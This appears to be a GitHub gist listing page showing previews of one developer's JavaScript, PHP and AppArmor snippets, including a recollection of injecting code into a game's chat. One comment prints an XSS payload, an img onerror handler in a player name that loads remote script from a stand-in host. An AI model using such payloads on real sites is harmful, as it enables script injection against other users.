Skip to content

Instantly share code, notes, and snippets.

//% https://twitter.com/macil_tech/status/1454234094888370177
//% This was the code I wrote for that.
//% All comments starting with //% are edits I've made now to explain the original code.
//% The code is pretty specific to the situation was used on, so don't expect to find code
//% that's directly useful for other tasks here. You probably wouldn't want to actually
//% implement game chat in a game in the way it's done here, etc.
//% So this file was saved as "x.js" on and available on the domain I had back then.
//% I would inject the code by joining the game with my name set to this:
//% Macil<img src onerror="$.getScript('//example.com/x.js?1')">

Keybase proof

I hereby claim:

  • I am macil on github.
  • I am macil (https://keybase.io/macil) on keybase.
  • I have a public key ASCdSs0kwynStovfiulSBV6G5PcQhbDC--cWtrV-a5g28Qo

To claim this, I am signing this object:

@Macil
Macil / fetchRecursively.js
Created July 4, 2018 06:12
An example of using Kefir streams with a recursive function.
'use strict';
const Kefir = require('kefir');
// fetch takes a url string, pretends to fetch it over the network, and returns
// a Kefir stream that emits a Page object when it's done, and then the stream
// ends.
function fetch(url) {
let links;
switch (url) {
case 'foo.com': links = ['bar.com', 'baz.com']; break;
@Macil
Macil / loadInContentScript.js
Created March 7, 2018 00:49
This function allows you to load javascript from a remote url with an extension content script, and have the loaded javascript execute within the content script's isolated world.
async function loadInContentScript(url) {
// Note that this extension must either have permission to the domain of this
// URL, or the URL must be served with the correct CORS HTTP headers to allow
// this script to fetch it (ie. "Access-Control-Allow-Origin: *").
const response = await fetch(url);
const scriptText = await response.text();
// Let Chrome devtools know where this code came from.
const codeToRun = scriptText + "\n//# sourceURL=" + url + "\n";
// This code is assumed to be part of one of the extension's content scripts
function addIframe() {
const iframe = document.createElement('iframe');
iframe.addEventListener('load', () => {
iframe.contentWindow.postMessage({
eventName: 'init',
iframeSrc: 'https://xkcd.com/' // whatever url you want. Probably will be a URL to your own domain in practice
}, '*');
}, false);
@Macil
Macil / gist:7369c93de844f8e785b0
Created December 17, 2014 23:14
eval with chrome debugger support
function evalFromUrl(code, url) {
// jshint evil:true
// Q: Why put the code into a function before executing it instead of
// evaling it immediately?
// A: Chrome would execute it before applying any remembered
// breakpoints.
// Q: Why not just use `... = new Function(...)`?
// A: The sourcemaps would be off by one line in Chrome because of
// https://code.google.com/p/chromium/issues/detail?id=109362
@Macil
Macil / reporter.js
Created January 19, 2014 06:51
Automatically report unhandled javascript exceptions to your server!
(function(exports) {
function nop() {}
// IE doesn't always have console, place a no-op shim for it.
if (!window.console) {
window.console = {log: nop, info: nop, warn: nop, error: nop};
}
// Transforms an Error to a simple object that can be JSONified.
function error_to_object(error) {
@Macil
Macil / encryption
Created November 12, 2013 20:02
Experimenting with exploiting KusabaX's encryption algorithms.
<?php
function get_rnd_iv($iv_len) {
$iv = '';
while ($iv_len-- > 0) {
$iv .= chr(mt_rand() & 0xff);
}
return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16, $iv_init = false) {
@Macil
Macil / local.usr.bin.skype
Last active January 31, 2017 06:14
Skype AppArmor profile(tested with Ubuntu 14.10 and Skype 4.3)
#include <tunables/global>
/usr/bin/skype {
#include <abstractions/base>
#include <abstractions/user-tmp>
#include <abstractions/audio>
#include <abstractions/nameservice>
#include <abstractions/ssl_certs>
#include <abstractions/fonts>
#include <abstractions/ibus>
#include <abstractions/dbus>
@Macil
Macil / BadgeUtil.zip
Created July 28, 2012 00:39 — forked from indrora/BadgeUtil.zip
DEFCON 20 badge info